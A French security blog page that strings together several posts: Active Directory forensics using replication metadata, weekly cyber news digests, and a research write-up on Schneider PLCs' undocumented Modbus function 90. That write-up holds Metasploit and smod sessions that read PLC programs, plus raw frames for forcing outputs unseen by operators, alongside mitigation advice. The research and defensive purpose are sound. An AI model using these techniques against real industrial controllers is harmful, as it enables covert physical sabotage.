SecurityInsider
Le blog des experts sécurité Wavestone

Utilisation des métadonnées de réplication, quand les journaux font défaut


Introduction aux données de réplication de l’Active Directory

Au sein d’un domaine Active Directory se trouvent généralement plusieurs contrôleurs de domaine qui nécessitent de disposer des mêmes informations. Pour parvenir à cela, l’Active Directory dispose d’un mécanisme de réplication qui permet, entre autres, de propager un changement depuis un contrôleur de domaine vers les autres. 
Dans son processus de réplication, l’Active Directory utilise des USN (Update Sequence Number) pour déterminer l’état des contrôleurs de domaines. Ces USN représentent un compteur stocké dans la base de données de l’Active Directory, qui est incrémenté à chaque changement de cette base au niveau d’un contrôleur de domaine. Chaque contrôleur de domaine dispose alors d’un USN qui lui est propre.
Lorsqu’un changement d’une information de l’Active Directory intervient sur un contrôleur de domaine, deux cas peuvent se présenter :
  • L’information modifiée n’est pas une information répliquée entre les différents contrôleurs de domaines. C’est le cas de l’ensemble des attributs de l’Active Directory qui disposent du flag FLAG_ATTR_NOT_REPLICATED[1] comme par exemple l’attribut « BadPwdCount » qui tient compte du nombre de tentatives de connexion échouées :


    Dans ce cas, le contrôleur de domaine effectue la modification dans sa propre base de données, mais ne transmet rien aux autres contrôleurs de domaine.

  • L’information modifiée nécessite une réplication entre les différents contrôleurs de domaines. Dans ce cas, le contrôleur de domaine qui a reçu le changement utilise le modèle de réplication de l’Active Directory pour transmettre le changement aux autres contrôleurs du domaine. Ce modèle de réplication ne sera pas détaillé dans cet article, mais permet la diffusion des évolutions à l’ensemble des contrôleurs d’un domaine en limitant le trafic nécessaire et en assurant la gestion des collisions (en cas de changement d’un même attribut sur différents contrôleurs sur une fenêtre de temps réduite).
Le processus de réplication utilise des métadonnées qui sont conservées sous la forme de deux attributs distincts : msDS-ReplAttributeMetaData[2] et msDS-ReplValueMetaData[3]. msDS-ReplAttributeMetaData est utilisé pour les changements effectués sur les attributs non linkés de l’Active Directory alors que msDS-ReplValueMetaData est réservé aux attributs linkés.
Les attributs linkés ont été introduits dans l’Active Directory à partir du niveau fonctionnel Windows Server 2003. Ce sont en fait des paires d’attributs dont la valeur de l’un est basée sur celle de l’autre. C’est par exemple le cas des attributs member d’un groupe et memberof de l’utilisateur.

Quel intérêt pour l’investigation ?

En tant qu’analyste forensic qui intervient suite à un incident de sécurité, le premier réflexe pour permettre d’identifier les actions malveillantes ayant eu lieu au sein d’un Active Directory est l’utilisation des journaux d’événements. Mais que faire si ceux-ci n’étaient pas activés au moment de l’attaque ? Ou si l’attaquant est parvenu à supprimer les journaux générés par ses actions, comme le permet un outil comme mimikatz[4] ?
Dans de telles situations, il est possible d’utiliser les données de réplication pour obtenir une vision partielle des actions des attaquants. En effet, d’après le fonctionnement des données de réplication, toute modification d’un attribut de l’Active Directory aboutit à la création d’une donnée de réplication contenant différentes informations pouvant être utile pour une investigation. 
Dans le cas d’un attribut non linké, et donc d’une métadonnée de type msDS-ReplAttributeMetaData, les informations stockées sont la version, qui correspond au nombre de changements de l’attribut depuis sa création, la date à laquelle a été effectuée la modification, l’USN correspondant au changement pour le contrôleur de domaine qui a initié la réplication, l’USN correspondant au changement pour le contrôleur de domaine sur lequel est récupéré la métadonnée, ainsi que l’UUID et le DN du contrôleur de domaine ayant initié le changement :


Pour les attributs linkés, les métadonnées de réplication, cette fois de type msDS-ReplValueMetaData, vont également stocker des informations sur les attributs liés à l’attribut en question. Les métadonnées de réplication vont alors conserver des informations sur chacune des propriétés de l’attribut lié, y compris pour les valeurs précédentes. Dans l’exemple de l’attribut member, les données de réplication conserveront donc à la fois des informations sur les membres actuels du groupe, mais également sur les utilisateurs ayant été membres mais ne l’étant plus :


A un instant donné, il est alors possible grâce à ces données de déterminer la date de dernière modification d’un attribut, ainsi que le nombre de fois où il a été modifié depuis sa création. Ces données, bien que semblant très limitées, peuvent alors servir à identifier différents scénarios d’attaque.

Elévation de privilèges par ajout dans un groupe

L’un des cas où les données de réplication offrent les meilleurs résultats est l’identification d’un scénario où l’attaquant s’est ajouté, puis supprimé d’un groupe, comme par exemple le groupe « Admins du domaine ». 
En effet, au sein d’un Active Directory, les groupes possèdent une propriété « member » qui liste les utilisateurs appartenant au groupe. L’ajout d’un utilisateur dans un groupe va alors incrémenter l’USN de son attribut « member » de 1, celui-ci ayant été modifié. De même, le retrait de l’utilisateur incrémentera également cet USN de 1. 
Etant donné ces propriétés, deux conclusions sont possibles :

  • Les utilisateurs ayant un USN impair sont membres du groupe (chose qu’il est directement possible de voir dans la valeur de l’attribut « member »), et la date de dernier ajout de l’utilisateur au sein du groupe est celle de l’USN ;
  • Les utilisateurs ayant un USN pair ont appartenu au groupe, mais n’en font plus parti depuis la date de l’USN. 
C’est donc dans le second cas que se retrouverait le compte d’un attaquant s’étant ajouté au groupe « Admins de domaine » pour réaliser des actions malveillantes, puis supprimé du groupe. Il est alors possible de créer un script récupérant les utilisateurs ayant été ajoutés ou supprimés d’un groupe après une date donnée (seule la date de premier et de dernier changement étant conservés, il ne serait pas fiable de limiter la recherche à une date maximale) :



Targeted Kerberoasting

Le kerberoasting est une technique qui exploite le processus d’authentification Kerberos pour permettre à un attaquant de récupérer le mot de passe d’un compte de service (comprendre « compte disposant d’un Service Principal Name »). Le principe de cette attaque est que, comme le montre le schéma suivant, lors d’une demande d’authentification à un service par un utilisateur, le KDC utilise le hash NTLM du compte de service pour chiffrer le TGS renvoyé à l’utilisateur. Dans ce processus, la légitimité de l’utilisateur à accéder au service n’est pas vérifiée, et n’importe quel utilisateur peut donc obtenir le TGS.



Il est alors possible pour l’attaquant d’effectuer une tentative de cassage du hash NTLM du compte de service en tentant de déchiffrer le TGS à partir de hashs successifs.
Supposons maintenant qu’un attaquant soit parvenu à récupérer des privilèges maximums sur un objet utilisateur, à savoir des privilèges de type GenericAll[5], qui donne notamment le droit de modifier le mot de passe du compte, ou encore de modifier les propriétés de l’objet Active Directory associé au compte. Pour usurper l’identité du compte en question, l’attaquant pourrait donc réinitialiser le mot de passe du compte avec une valeur qu’il choisit, et se connecter à l’aide de ce nouveau mot de passe. Néanmoins, une telle attaque serait rapidement détectée par l’utilisateur légitime du compte, qui ne parviendrait plus à se connecter avec son mot de passe habituel.
Une possibilité plus intéressante pour l’attaquant serait alors d’ajouter un Service Principal Name (SPN) au compte de ciblé, puis d’exécuter une attaque de type kerberoasting. C’est ce qu’on appelle le targeted kerberoasting.
La majorité des utilisateurs d’un domaine n’étant jamais supposée avoir de SPN, une telle attaque peut assez simplement être détectée si ce SPN n’est pas supprimé. Si par contre ce SPN est supprimé par l’attaquant une fois l’attaque effectuée, il reste toujours possible d’utiliser les données de réplication ! 
En effet, l’ajout ou la suppression d’un SPN sont des événements répliqués au sein de l’Active Directory, et génèrent donc des métadonnées de réplication de type msDS-ReplAttributeMetaData :


Il est alors possible de créer un script récupérant les comptes du domaine dont l’attribut SPN a été modifié depuis une date donnée, comptes qui sont donc des victimes potentielles d’une attaque de type targeted kerberoasting. 

Bruteforce d’un compte par blocage successif

Un scénario d’attaque par bruteforce pouvant être utilisé par un attaquant au sein d’un Active Directory ne disposant d’aucune alerte est la réalisation de tentatives de connexion en dehors des heures d’utilisation du compte, et ce jusqu’au blocage du compte.
Lors du blocage d’un compte, un flag LOCKOUT[6] est positionné sur l’attribut userAccountControl d’un utilisateur. Cet attribué étant répliqué entre les différents contrôleurs de domaine, des données de réplication de type msDS-ReplAttributeMetaData sont alors générées. Il est alors possible de créer un script permettant d’identifier les comptes du domaine ayant un numéro de version important dans les données de réplication de cet attribut, ce qui pourrait annoncer un tel bruteforce :


Il est cependant à noter que l’attribut userAccountControl dispose de plusieurs autres flags dont la modification entrainerait également la génération de données de réplication, indissociable des précédentes, comme par exemple pour le flag PASSWORD_EXPIRED. Cependant, cet attribut n’est généralement pas amené à évoluer grandement, et un très grand nombre de changements reste un indicateur relativement fiable d’un bruteforce.
Un autre point à noter est qu’en limitant les tentatives de connexion pour éviter le blocage du compte, un attaquant serait invisible à cette méthode d’investigation. 


Conclusion

Bien que n’apportant pas une vision aussi complète que les journaux d’événements, les données de réplication peuvent donc être une source d’information non négligeable pour une investigation forensic dans un Active Directory. 
Il est cependant à noter que des techniques permettant la modification des données de réplication pourraient exister[7], la confiance accordée aux informations obtenues grâce à celles-ci ne doit donc pas être aveugle.


Nicolas DAUBRESSE

Sources :


CERT-W : Retours sur l'actualité de la semaine du 5 au 11 février 2018


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !
Retrouvez également le focus de la semaine par Nicolas DAUBRESSE sur l'utilisation des métadonnées de réplication au sein d'un AD.

Veille cybercriminalité

Auriez-vous remarqué ...

Ce skimmer ? L'un des passe-temps du chercheur en sécurité Brian Krebs est l'étude et le répertoriage des skimmers, modules physiques déposés sur un distributeur automatique et ayant pour but de voler des informations de l'utilisateur : numéro de carte bleue, code PIN, etc. Vous seriez-vous fait avoir ?

ICS Cryptojacking

Sous ce nom énigmatique se cache la première attaque de malware visant à miner des cryptomonnaies (cryptojacker) sur un système industriel (Industrial Control System, ou ICS). L'entreprise Radiflow aurait découvert un mineur de Monéro (XMR) installé sur l'interface homme-machine SCADA d'une société de traitement des eaux d'origine européenne.

Air France offre 2 billets gratuits

Avez-vous reçu cette annonce la semaine dernière ? Si oui, à l'instar de nombreux français, vous avez reçu une annonce de phishing dont l'objectif est de récupérer votre adresse e-mail, pour une utilisation dans le cadre de campagne de spam ou de revente de données personnelles. Il est à noter que le nom de domaine utilisé par l'attaquant est ici très proche du nom de domaine www.airfrance.com, à l'exception du second "a" remplacé par un équivalent vietnamien, souligné d'un point.

Minage de cryptocoins au travail

Des chercheurs d'un centre de recherche nucléraire russe ont été surpris dans leur utilisation du super-ordinateur qu'ils avaient à disposition pour miner des cryptocoins. L'ordinateur en question est capable de réaliser 1.000.000.000.000.000 d'opérations sur des nombres à virgule (float), totalisation donc 1.0 PetaFLOPs (contre une diazaine voire un centain de GoFLOPs pour un processeur standard).

Attaque olympique

Le site officiel des jeux olympiques d'hiver aurait subi une attaque qui a provoqué son indisponibilité, aux alentours de la cérémonie d'ouverture. Il peut donc s'agir d'une attaque de type déni de service, ou d'un arrêt du site pour prévenir une attaque en cours. Les sources officielles sont pour l'instant dans l'incapacité de mettre un nom sur l'origine de l'attaque.

In fraud we trust

Le gouvernement étatsunien a démantelé un réseau majeur de fraude bancaire d'origine ukrainienne, nommé "Infraud Organization". Le réseau serait à l'origine de 530 millions de dollars de pertes, utilisant des techniques variées telles que l'installation de malware sur les Point of Sales (POS) ou le recel de numéro de cartes bancaires.

Veille vulnérabilité

Intel étend son programme de bug bounty

Intel a récemment étendu le périmètre couvert par son programme de bug bounty, initialement lancé en mars 2017. Celui-ci inclut désormais les attaques par canaux auxilliaires (Spectre, Meltdown), et propose des primes alléchantes pour la découvertes de celles-ci (jusqu'à $250.000).

Google 2017 Vulnerability program review

Google passe en revue son programme de bug bounty sur l'année 2017 et met notamment en avant trois exploits particulièrement intéressants remontés l'année dernière.

Exploitation sur Cisco ASA

Cisco avait remonté fin janvier la présence d'une vulnérabilité critique (CVSS 10) sur ses appliances Cisco ASA. Il est désormais clair que cette vulnérabilité est massivement exploitée, et il devient donc nécessaire de mettre à jour les équipements impactés dans les plus cours délais.

Indicateurs de la semaine

L'exploit de la semaine - HPE iLO 4 < 2.53 - Add new admin

Un script exploitant la vulnérabilité CVE-2017-12542 (découvert en février 2017 par Synacktiv, et rendue publique par HP en août 2017) a été publié. Celui-ci permet l'ajout en remote d'un nouvel administrateur sur les cartes HPE iLO.

Le leak de la semaine - Swisscom

L'opérateur télécom suisse Swisscom a été victime en août 2017 d'une exfiltration de données client (nom, adresse, date de naissance, numéro de téléphone). 800.000 clients seraient touchés par cette fuite de données. L'opérateur Swisscom indique que la fuite provient d'un partenaire qui disposaient d'un accès à ces données pour prévenir les clients de la fin prochaine de leur contrat.

L'attaque de la semaine - Newtek live customer phishing

Newtek est une entreprise américain fournissant des services dans le domaine du web, dont la fourniture et la gestion de plus de 100.000 noms de domaine. Le 10 février 2018, les clients de Newtek ont reçu un email les encourageant à visiter le site de l'entreprise, suite à de nouvelles mesures de sécurité. Ledit site avait en réalité été compromis par un pirate Vietnamien, qui avait alors procéder à l'installation d'un chat web pour échanger avec les clients et leur extorquer des informations sensibles.

Suivi des versions

Produits
Version actuelle
Adobe Flash Player
Adobe Acrobat Reader DC
Java
Mozilla Firefox
Google Chrome
VirtualBox
CCleaner

Jean MARSAULT

Fun with Modbus 0x5A


Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.
Vous pouvez retrouver notre intervention en vidéo : https://www.youtube.com/watch?v=A_B69Rifu1g

Revenons sur ces travaux et la manière dont ils peuvent être exploités.


Le protocole Modbus

Le protocole Modbus est un standard de communication utilisé dans les SI industriels. Développé dans les années 70 sur liaison série RS-485, il est désormais très répandu dans sa version TCP utilisable sur une liaison Ethernet classique.
Le protocole Modbus défini un certain nombre de fonctions, qui servent majoritairement à lire/écrire des données sur un automate programmable industriel.

root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0
Lecture de données Modbus avec le programme « mbtget »

D’autres fonctions Modbus existent, comme l’indique ce tableau provenant du standard officiel : 

Spécifications du protocole Modbus (http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf)

Il est possible d’identifier la liste des fonctions Modbus supportées par un automate, par exemple avec l’outil smod:

root@kali:~/smod# python smod.py 
< SMOD >
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD > use modbus/scanner/getfunc
SMOD modbus(getfunc) > show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) > set RHOSTS 192.168.0.110
SMOD modbus(getfunc) > set UID 1
SMOD modbus(getfunc) > exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.

On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :


La fonction Modbus 0x5a

Historique

L’utilisation du protocole Modbus pour la programmation des automates Schneider a été révélée publiquement grâce aux travaux du projet Basecamp lors de la célèbre conférence S4, dédiée à la sécurité des SI industriels : http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/
Vous pouvez retrouver les vulnérabilités identifiées sur les systèmes Schneider (et bien d’autres) dans la présentation de Reid Wightman : https://youtu.be/dtadMIN3CCc?t=35m29s
Nous avions déjà évoqué cette fonctionnalité dans notre article dédié au pentest d’automates dans le magazine MISC 74 . Il suffit d’observer les trames réseau échangées entre Unity Pro et l’automate lors de sa programmation pour identifier que c’est le protocole Modbus qui est utilisé, via une fonction non-documentée (90) :

Capture réseau des échanges entre le logiciel de programmation et un automate Schneider

Comme les autres fonctions Modbus, il n’existe aucun mécanisme de sécurité pour ce protocole de programmation : il suffit d’avoir un accès réseau sur le port TCP 502 d’un automate pour pouvoir réaliser des actions d’administration.


Récupération du programme automate

La récupération du programme de l’automate n’était, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publié lors du projet Basecamp. Nous avions pu le modifier légèrement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu à modifier un compteur pour la rendre fonctionnelle. Détaillons son utilisation.

  • Création d’une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu’archive (« .sta »)
  • Récupérons le programme de l’automate
msf auxiliary(modicon_stux_transfer_ASO) > set ACTION DOWNLOAD
ACTION => DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) >

  • Insérons le fichier « .apx » dans l’archive
root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity# 

  • Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme : 
Affichage du code « ladder » dans Unity Pro

La vidéo ci-dessous montre l’utilisation du module pour télécharger le programme et vérifier qu’il s’agit du même que celui issu de Unity Pro : https://www.youtube.com/watch?v=xRbulEX3_3o

La démarche inverse, reprogrammer l’automate, est également possible en théorie. En revanche, nous n’avons pas réussi à le rendre fonctionnel. Lors de l’upload d’un nouveau programme, nous obtenons ensuite cette erreur : 


L’automate a bien été reprogrammé, mais il ne reconnaît pas le programme transmis et considère donc qu’il n’est pas programmé. Cette attaque permet donc plutôt un déni de service.

Récupération des informations du programme

L’analyse des trames échangées lors de l’initialisation de la connexion entre le logiciel de programmation légitime (Unity Pro) et l’automate permet d’identifier qu’un certain nombre d’informations sont envoyées par l’automate.

Capture réseau entre Unity Pro et un automate Schneider M340

Nous avons donc modifié le module Metasploit précédent afin de permettre la récupération de ces informations : 

msf > use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) > show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) > set ACTION GATHER_INFOS 
ACTION => GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) > show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) > set RHOST 192.168.0.110
RHOST => 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed
Récupération d’information via le module Metasploit

Ces informations concordent avec celles obtenues graphiquement dans le logiciel légitime :

Informations sur le projet dans Unity pro

Forçage de valeurs

Le logiciel Unity Pro embarque également des fonctionnalités de simulation et de « forçage » des valeurs de l’automate. En effet, lors de l’installation d’un nouveau procédé industriel, il peut s’avérer pratique de « fausser » la valeur d’une variable pour simuler une action ou une situation spécifique. L’équivalent dans le monde informatique serait de « coder en dur » la valeur d’une variable.
Cette opération se réalise dans Unity Pro par la création d’une « table d’animation » dans laquelle on va renseigner les variables à forcer : 

Forçage de valeurs à 1 dans Unity Pro

Via l’analyse des trames réseau échangées lors du forçage de valeurs, il a été possible de comprendre partiellement le protocole. Ci-dessous, on présente une comparaison des trames pour forcer la sortie %Q0.17 à 1, et forcer la sortie %Q0.18 à 0 : 

[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02

Un octet permet de déterminer la sortie à forcer : 
  • 0x11 pour la sortie %Q0.17
  • 0x12 pour la sortie %Q0.18
La valeur de forçage est déterminée par le dernier octet :
  • 0x03 pour 0
  • 0x02 pour 1
  • 0x04 pour annuler le forçage

Dans la vidéo ci-dessous, on démontre le fonctionnement du module Metasploit en alternant les valeurs de forçage des sorties 17 à 23 : https://www.youtube.com/watch?time_continue=2&v=D1p2ni0eGhc

Pourquoi cette fonction est-elle intéressante du point de vue d’un attaquant ?

Dans un SI industriel en fonctionnement, les opérateurs ne surveillent pas le procédé avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d’avoir une vue d’ensemble du précédé et de pouvoir interagir avec les différents composants. Ce logiciel va donc interroger, à intervalle régulier, les automates pour afficher les valeurs correspondantes à l’opérateur.
Cependant, dans la majorité des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables intermédiaires ou calculées sont utilisées. Ainsi, un attaquant capable de forcer la valeur des sorties de l’automate va pouvoir influencer le procédé physique, sans pour autant que cela soit visible du point de vue de l’opérateur en train de superviser le procédé.
Une démonstration live a été faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu’en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique : https://www.youtube.com/watch?v=A_B69Rifu1g

Le module Metasploit n'étant pas totalement finalisé, il n'a pas fait l'objet d'une pull request vers le dépôt officiel. Vous pouvez néanmoins le trouver ici : https://github.com/wavestone-cdt/ics-tools.

Conclusion et sécurisation

Ces travaux ont été principalement réalisés sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles générations (par exemple M221) avec quelques ajustements. En effet, une capture réseau lors de la programmation d’un automate M221 montrera que c’est bien la fonction Modbus 90 qui est utilisée pour la programmation, mais de manière légèrement différente. Elle peut également être utilisé pour la mise en mode START ou STOP, ainsi que pour le forçage des valeurs de sortie.

Qu’en est-il ailleurs ?

L’utilisation de protocoles de communication non-sécurisés pour la programmation et la maintenance des automates programmables industriels est encore une réalité en cette fin d’année 2017. L’exemple ici présenté ne vise pas à cibler la marque Schneider en particulier. La grande majorité des constructeurs d’automates utilisent des protocoles non authentifiés pour la programmation. On pourrait notamment citer le cas de la majorité des automates reposant sur la bibliothèque CodeSys, comme démontré (là aussi) par Reid Wightman : http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/.

Que faire ?

La sécurisation d’un SI industriel doit donc prendre en compte le fait qu’un accès réseau sur le port TCP 502 permet d’accéder à la logique de l’automate, de la modifier mais également de forcer certaines valeurs, ce qui permet à un attaquant de mener une attaque qui ne sera pas visible de l’opérateur.
Les dernières versions d’automates, notamment dans les gammes les plus chères, incluent désormais des fonctions de sécurisation. L’approche la plus fréquente est d’encapsuler les protocoles non-sécurisés dans un tunnel authentifié et chiffré, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d’évaluer le bon niveau de sécurité de ces nouvelles fonctionnalités.
Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement réseau, et superviser les actions d’administration. On peut par exemple mettre en place une sonde de type IDS avec une signature dédiée à la fonction 90 de Modbus.
Enfin, un axe d’amélioration axé métier serait la mise en place de mécanismes de contrôle d’intégrité au niveau des automates et du SCADA, permettant de s’assurer que les variables utilisées reflètent la réalité du procédé physique. On pourrait ainsi imaginer l'insertion, dans la logique de l'automate, quelques fonctions visant à assurer la détection d'une incohérence entre une valeur intermédiaire et une valeur de sortie. De la même manière, il serait intéressant pour le logiciel SCADA de pouvoir notifier l'opérateur lorsque des valeurs sont forcées, mais cette capacité n'est, à notre connaissance, pas proposée par les automates étudiés.


Arnaud SOULLIE

CERT-W : Retours sur l'actualité de la semaine du 29 janvier au 4 février 2018


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !
Retrouvez également le focus de la semaine par Arnaud Soullié, Fun with Modbus 0X5A.

Veille cybercriminalite

Nouvelle disparition massive de cryptomonnaie

Le système de cryptomonnaie NEM, plus largement utilisé au Japon, a vu sa popularité bondir au cotés du bitcoin, la valeur 1NEM passant de $0.00004 à 1$.
Une plateforme d'échange populaire au Japon vient cependant d'annoncer la "perte" de près de 500 millions de dollars de cette monnaie, appartenant à quelques 260 000 particuliers, ce qui ferait de ce vol présumé l'un des plus importants vols de cryptomonnaie.
La compagnie prétend rembourser leurs pertes aux usagers.

Nouveaux cryptomining virus

La menace de cryptomining malwares se précise pour les entreprises, alors que la tendances pour les cryptomonnaies n'a jamais été aussi médiatisée. Les ressources nécessaires au minage de cryptomonnaie sont conséquentes, et l'option la plus simple pour les pirates est donc d'utiliser l'électricité et la puissance des infrastructures d'entreprises.
De nombreux malwares sont désormais couplés à des exploits connus (cf WannaMINE), afin de s'introduire dans les réseaux d'entreprise.
Les entreprises ne sont pas les seules touchées, puisque de nombreux cryptominers se cachent également dans les applications Android ou les pages javascript.

Beware ! Spectre and Meltdown malwares are coming

Pus de 130 codes malveillants exploitant les failles Spectre et Meltdown ont été repérés par les chercheurs d'AV-TEST, de différentes sources (antivirus, online testers et chercheurs). En grande partie basés sur le PoC Javascript sorti début janvier, ces virus en devenir en sont apparemment encore au stade de R&D.
Des attaques massives sont donc à craindre prochainement, alors qu'aucun patch fonctionnel n'est disponible.

Veille vulnerabilite

Une vulnérabilité (de plus) 0-day sur Flash

Une équipe de chercheurs coréens (KrCERT) ont publié ce 31 janvier un document décrivant l'existance d'une vulnérabilité 0-day touchant Adobe Flash, utilisée par des attaquant (nord-coréens d'après eux), et qui permettrait l'exécution de code.
Le malware, embarqué dans un fichier SWJ caché au sein d'un document Excel, lance ensuite la récupération d'autres malware d'espionnage et vise principalement des Sud-Coréens travaillant pour l'armée, la défense, ou la recherche.
La vulnérabilité, appelée CVE-2018-4878, a également fait l'objet d'un communiqué par Adobe, qui a sorti un patch le 05/02/18.

Le scanner d'empreintes Lenovo victime d'une vulnérabilité critique

Les ordinateurs d'entreprise (ThinkPad, ThinkCentre, et ThinkStation) vendus par Lenovo utilisent le logiciel FingerPrint Manager Pro afin de permettre aux utilisateurs de s'authentifier, sur Windows notamment. Une vulnérabilité importante a été identifiée au sein de celui-ci : il est possible non seulement de récuperer des informations sensibles (tels que les authentifiants Windows), mais également de les déchiffrer (le logiciel utilisant un algorithme de chiffrement faible) et de contourner complètement l'authentification grâce à un mot de passe hardcodé.
La vulnérabilité (CVE-2017-3762) est patchée dans les versions 8.01.87. La faille touchant des dizaines de modèles du constructeur, il est recommandée de s'assurer de disposer d'une version à jour de ce logiciel.

Un plug-in Burp pour exploiter les vulnérabilités Wordpress


Indicateurs de la semaine

L'attaque de la semaine - Une startup se volatilise avec pour seul indice le mot "penis"

Dérobant la somme ridicule de 11$ en Ethereum à ses investisseurs, la startup Prodeum a disparu des radars, laissant pour seul indice son site internet défacé, affichant le mot "penis". La startup avait pour projet de "révolutionner le monde des fruits et légumes en les intégrant dans la blockchain"...

L'exploit de la semaine - Un outil pour rechercher des cibles vulnérables et lancer des attaques automatisées

Assez controversé, un nouvel outil est apparu, permettant de repérer des cibles vulnérables et lancer des attaques massives. Ajoutant les capacités de l'outil de recherche Shodan aux fonctionnalités d'attaque de Metasploit, Autosploit met à la portée de n'importe qui l'attaque massive en ligne.

Suivi des versions

Produits
Version actuelle
Adobe Flash Player
Adobe Acrobat Reader DC
Java
Mozilla Firefox
Google Chrome
VirtualBox
CCleaner

Camille MARSIGNY

#REX : Houston, we’ve got a chinese account on our system






Le CERT-W a été contacté afin d’investiguer sur l’origine d’un dossier utilisateur chinois sur un système Windows :


Présence d’un dossier chinois au sein du dossier « C:\Users »

L’origine de la création de dossier utilisateur au sein du dossier « C:\Users » est engendrée à la suite de la première authentification d’un utilisateur, et non lors de sa création. 


Analyse de la génération d’un dossier utilisateur « test »

Ainsi, la présence de ce dossier révèle que l’utilisateur nommé « 整瑳 » s’est authentifié sur la machine analysée.
La création d’un utilisateur au sein d’un système Windows est enregistrée au sein du fichier journal « Security » sous l’identifiant « 4720 – Un compte d’utilisateur a été créé ».


Exemple d’évènement généré lors de la création d’un utilisateur sur une ressource Windows

